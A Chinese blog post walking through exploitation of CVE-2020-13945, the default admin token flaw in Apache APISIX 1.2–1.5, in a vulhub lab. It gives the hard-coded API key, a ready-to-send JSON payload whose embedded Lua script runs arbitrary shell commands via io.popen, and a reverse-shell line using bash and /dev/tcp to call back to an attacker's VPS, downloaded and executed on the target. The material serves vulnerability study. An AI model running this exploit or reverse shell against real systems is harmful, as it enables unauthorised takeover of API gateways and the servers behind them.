Apache apisix默认密钥漏洞(CVE-2020-13945)

文章介绍了ApacheAPISIX的一个安全漏洞,当开启AdminAPI且未配置访问策略时,攻击者可利用默认Token控制API网关。影响版本包括1.2至1.5。文中详细阐述了漏洞复现步骤,包括通过POST请求和特定payload执行任意命令,并演示了如何利用此漏洞建立反向连接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API,没有配置相应的IP访问策略,且没有修改配置文件Token的情况下,则攻击者利用Apache APISIX的默认Token即可访问Apache APISIX,从而控制APISIX网关。

影响版本

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

漏洞复现

该漏洞环境搭建,依然通过vulhub,不再赘述。

在这里插入图片描述
访问一下http://192.168.10.171:9080/apisix/admin/routes,说明开启了/apisix/admin/routes

在这里插入图片描述
抓取该报文,做如下修改

1、请求方法改为POST

2、加上参数X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

3、加上payload

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

在这里插入图片描述
然后,访问刚才添加的router,并通过cmd参数执行任意命令

在这里插入图片描述
接下来,我们来演示将内网的这台服务器,反向连接到VPS上

首先,VPS上编写反弹shell脚本 bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1,然后在使用python起一个http服务:python3 -m http.server

在这里插入图片描述
下载test.sh脚本文件

在这里插入图片描述
接下来,执行test.sh脚本文件

在这里插入图片描述

VPS上查看反弹结果

在这里插入图片描述
交个朋友
欢迎大家关注本人的公众号,分享国内外安全资讯、威胁情报、漏洞信息、安全技术等。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值